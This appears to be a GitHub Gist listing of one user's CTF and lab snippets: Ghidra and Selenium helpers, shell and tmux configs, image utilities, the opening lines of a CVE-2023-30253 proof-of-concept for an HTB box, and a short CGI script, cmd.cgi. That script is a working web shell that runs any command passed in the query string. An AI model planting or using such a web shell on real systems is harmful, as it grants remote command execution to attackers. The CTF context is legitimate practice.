Skip to content

Instantly share code, notes, and snippets.

@xHacka
xHacka / ghidra_auto.py
Last active September 20, 2023 19:05
#!/usr/bin/python3
import os
import click
import tempfile
from pathlib import Path
from subprocess import check_output, run
GHIDRA_PATH = os.environ.get('GHIDRA_PATH', '/opt/ghidra/')
ANALYZER = f"{GHIDRA_PATH}support/analyzeHeadless"
@xHacka
xHacka / selenium_solve.py
Created October 2, 2023 10:55
Selenium script used to solve challenge X, mostly reminder how to add `executable_path`...
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
service = Service(executable_path="/usr/bin/chromedriver")
options = webdriver.ChromeOptions()
options.add_argument('--headless')
driver = webdriver.Chrome(service=service, options=options)
URL = 'https://<URL>/challenge/code-4/'
@xHacka
xHacka / zshrc_alias_functions.sh
Last active September 26, 2025 18:09
The aliases and functions I use in my ctf lab.
# Use aliases in sudo
# https://askubuntu.com/a/22043
alias sudo="sudo --preserve-env=HOME "
alias fucking="sudo --preserve-env=HOME "
# Reference: https://dev.to/lissy93/cli-tools-you-cant-live-without-57f6
alias la="eza -lah --header --icons --group"
alias ls="eza --icons -h"
alias lt="eza --icons --tree"
alias lta="eza -al --icons --tree"
@xHacka
xHacka / tmux.conf
Last active October 7, 2024 20:31
Tmux configuration while working with Alacritty
# https://www.hostinger.com/tutorials/tmux-config
# Enable mouse mode
set -g mouse on
set -g history-limit 80000
# Dumps history into logfile on trigger, depends on history-limit
# set -g @save-complete-history-path "~/.tmux/logs"
set -g @logging-path "~/.tmux/logs"
set -g @plugin 'tmux-plugins/tpm'
@xHacka
xHacka / .zshrc
Last active September 26, 2025 18:08
Backup of my zshrc if things go sideways o7
# ~/.zshrc file for zsh interactive shells.
# see /usr/share/doc/zsh/examples/zshrc for examples
setopt autocd # change directory just by typing its name
#setopt correct # auto correct mistakes
setopt interactivecomments # allow comments in interactive mode
setopt magicequalsubst # enable filename expansion for arguments of the form ‘anything=expression’
setopt nonomatch # hide error message if there is no match for the pattern
setopt notify # report the status of background jobs immediately
setopt numericglobsort # sort filenames numerically when it makes sense
@xHacka
xHacka / CVE-2023-30253.py
Created May 28, 2024 10:27
CVE-2023-30253 PoC script for certail HTB box
from datetime import datetime
from bs4 import BeautifulSoup as BS
import requests
import random
import string
class Routes:
BASE = 'http://sub.domain.htb'
LOGIN = BASE + '/index.php'
import xml.etree.ElementTree as ET
import csv
from tqdm import tqdm
import sys
def xml_to_csv(xml_file, csv_file):
context = ET.iterparse(xml_file, events=("start", "end"))
context = iter(context)
event, root = next(context) # Get the root element
@xHacka
xHacka / unmerge_images.py
Created July 19, 2024 07:22
Unmerge Vertically Merged Images
from PIL import Image
from pathlib import Path
def unmerge_images(input_image_path, output_folder, num_parts):
merged_image = Image.open(input_image_path)
width, height = merged_image.size
part_height = height // num_parts
for i in range(num_parts):
box = (0, i * part_height, width, (i + 1) * part_height)
@xHacka
xHacka / textToImageOneLiner.py
Created August 16, 2024 18:26
Text to image, for certain HTB box which I forgot name of...
from PIL import Image, ImageDraw, ImageFont
def create_text_image(text, font_path=None, background_color=None, font_size=24, padding=20, fill_color=None):
font_path = font_path or "arial.ttf"
background_color = background_color or (255, 255, 255) # White
fill_color = fill_color or (0, 0, 0) # Black
font = ImageFont.truetype(font_path, font_size)
text_width = int(font.getlength(text))
@xHacka
xHacka / cmd.cgi
Created September 7, 2024 16:40
Simplest CGI reverse shell based on (ba)sh
#!/bin/sh
echo "Content-type: text/plain"
echo ""
cmd="$QUERY_STRING"
if [ -n "$cmd" ]; then
echo "$($cmd 2>&1)"
else
echo "No command provided."